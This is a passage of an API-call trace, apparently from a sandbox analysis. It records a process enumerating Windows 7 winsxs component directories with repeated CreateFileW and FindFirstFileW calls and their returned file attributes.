	[0108.553] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmvv.inf_31bf3856ad364e35_6.1.7600.16385_none_a3737237579b3ac6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.557] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmwhql0.inf_31bf3856ad364e35_6.1.7600.16385_none_76b82b0e7bb69660" (normalized: "c:\\windows\\winsxs\\amd64_mdmwhql0.inf_31bf3856ad364e35_6.1.7600.16385_none_76b82b0e7bb69660"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.557] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmwhql0.inf_31bf3856ad364e35_6.1.7600.16385_none_76b82b0e7bb69660\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.557] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmx5560.inf_31bf3856ad364e35_6.1.7600.16385_none_ac7b1fa4a623af64" (normalized: "c:\\windows\\winsxs\\amd64_mdmx5560.inf_31bf3856ad364e35_6.1.7600.16385_none_ac7b1fa4a623af64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.557] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmx5560.inf_31bf3856ad364e35_6.1.7600.16385_none_ac7b1fa4a623af64\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.558] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmzoom.inf_31bf3856ad364e35_6.1.7600.16385_none_74f94081302baaad" (normalized: "c:\\windows\\winsxs\\amd64_mdmzoom.inf_31bf3856ad364e35_6.1.7600.16385_none_74f94081302baaad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.558] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmzoom.inf_31bf3856ad364e35_6.1.7600.16385_none_74f94081302baaad\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.558] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9dc75825db86521" (normalized: "c:\\windows\\winsxs\\amd64_mdmzyp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9dc75825db86521"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.558] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9dc75825db86521\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.559] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyxel.inf_31bf3856ad364e35_6.1.7600.16385_none_24c421d477088bd6" (normalized: "c:\\windows\\winsxs\\amd64_mdmzyxel.inf_31bf3856ad364e35_6.1.7600.16385_none_24c421d477088bd6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.559] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyxel.inf_31bf3856ad364e35_6.1.7600.16385_none_24c421d477088bd6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.559] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyxlg.inf_31bf3856ad364e35_6.1.7600.16385_none_60029977cb007ff2" (normalized: "c:\\windows\\winsxs\\amd64_mdmzyxlg.inf_31bf3856ad364e35_6.1.7600.16385_none_60029977cb007ff2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.559] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmzyxlg.inf_31bf3856ad364e35_6.1.7600.16385_none_60029977cb007ff2\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.560] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mediacenter-licensepolicies_31bf3856ad364e35_6.1.7600.16385_none_3bffd7434e668bfb" (normalized: "c:\\windows\\winsxs\\amd64_mediacenter-licensepolicies_31bf3856ad364e35_6.1.7600.16385_none_3bffd7434e668bfb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.560] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mediacenter-licensepolicies_31bf3856ad364e35_6.1.7600.16385_none_3bffd7434e668bfb\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27331557, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x27331557, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x27331557, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.560] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasas.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c81ca7fcade09f13" (normalized: "c:\\windows\\winsxs\\amd64_megasas.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c81ca7fcade09f13"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.560] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasas.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c81ca7fcade09f13\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.561] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasas.inf_31bf3856ad364e35_6.1.7600.16385_none_8c3546e368634d85" (normalized: "c:\\windows\\winsxs\\amd64_megasas.inf_31bf3856ad364e35_6.1.7600.16385_none_8c3546e368634d85"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.561] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasas.inf_31bf3856ad364e35_6.1.7600.16385_none_8c3546e368634d85\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a335198, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a335198, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a335198, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.562] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasas2.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6c3bfb650a811e55" (normalized: "c:\\windows\\winsxs\\amd64_megasas2.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6c3bfb650a811e55"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.562] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasas2.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6c3bfb650a811e55\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.562] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasas2.inf_31bf3856ad364e35_6.1.7600.16385_none_2c53b63db27cfca7" (normalized: "c:\\windows\\winsxs\\amd64_megasas2.inf_31bf3856ad364e35_6.1.7600.16385_none_2c53b63db27cfca7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.562] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasas2.inf_31bf3856ad364e35_6.1.7600.16385_none_2c53b63db27cfca7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a335198, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a335198, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a335198, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.563] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasr.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a9f3602db6a812b" (normalized: "c:\\windows\\winsxs\\amd64_megasr.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a9f3602db6a812b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.563] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasr.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a9f3602db6a812b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.563] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_megasr.inf_31bf3856ad364e35_6.1.7600.16385_none_448ee02114d2d285" (normalized: "c:\\windows\\winsxs\\amd64_megasr.inf_31bf3856ad364e35_6.1.7600.16385_none_448ee02114d2d285"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.563] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_megasr.inf_31bf3856ad364e35_6.1.7600.16385_none_448ee02114d2d285\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a335198, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a335198, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a335198, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.564] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_memory.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_10b68f19e98c2f23" (normalized: "c:\\windows\\winsxs\\amd64_memory.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_10b68f19e98c2f23"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.564] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_memory.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_10b68f19e98c2f23\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd77f3e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd77f3e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd77f3e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.577] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_memory.inf_31bf3856ad364e35_6.1.7600.16385_none_a950e2de512b35ad" (normalized: "c:\\windows\\winsxs\\amd64_memory.inf_31bf3856ad364e35_6.1.7600.16385_none_a950e2de512b35ad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.577] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_memory.inf_31bf3856ad364e35_6.1.7600.16385_none_a950e2de512b35ad\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19349e5b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1936ffbb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1936ffbb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.578] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mf.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc650a69bb595a7" (normalized: "c:\\windows\\winsxs\\amd64_mf.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc650a69bb595a7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.578] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mf.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc650a69bb595a7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.578] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mf.inf_31bf3856ad364e35_6.1.7600.16385_none_1b2d6b17a6e2025d" (normalized: "c:\\windows\\winsxs\\amd64_mf.inf_31bf3856ad364e35_6.1.7600.16385_none_1b2d6b17a6e2025d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.578] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mf.inf_31bf3856ad364e35_6.1.7600.16385_none_1b2d6b17a6e2025d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a335198, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a335198, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a335198, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.579] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_6.1.7600.16385_none_ddf6cb6d7a745cbf" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_6.1.7600.16385_none_ddf6cb6d7a745cbf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.579] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_6.1.7600.16385_none_ddf6cb6d7a745cbf\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f7b04, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa61dc5e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa61dc5e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.580] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_51dc2e8b541ea282" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_51dc2e8b541ea282"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.580] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_51dc2e8b541ea282\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eccb0d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9eccb0d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9eccb0d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.580] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b38caf3f778227f" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b38caf3f778227f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.580] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..-provider.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b38caf3f778227f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e8772, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc6e8772, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc6e8772, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.581] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ace-ldap-extensions_31bf3856ad364e35_6.1.7600.16385_none_816995383ee53ef1" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ace-ldap-extensions_31bf3856ad364e35_6.1.7600.16385_none_816995383ee53ef1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.582] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ace-ldap-extensions_31bf3856ad364e35_6.1.7600.16385_none_816995383ee53ef1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f7b04, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa61dc5e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa61dc5e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.582] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..apc-layer.resources_31bf3856ad364e35_6.1.7600.16385_en-us_21eb89f25badd81e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..apc-layer.resources_31bf3856ad364e35_6.1.7600.16385_en-us_21eb89f25badd81e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.582] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..apc-layer.resources_31bf3856ad364e35_6.1.7600.16385_en-us_21eb89f25badd81e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ef2dc6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9f3f338, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9f3f338, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.582] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..assistant.resources_31bf3856ad364e35_6.1.7600.16385_en-us_65c4a0f680163fd6" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..assistant.resources_31bf3856ad364e35_6.1.7600.16385_en-us_65c4a0f680163fd6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.583] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..assistant.resources_31bf3856ad364e35_6.1.7600.16385_en-us_65c4a0f680163fd6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe89aec4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe89aec4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe89aec4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
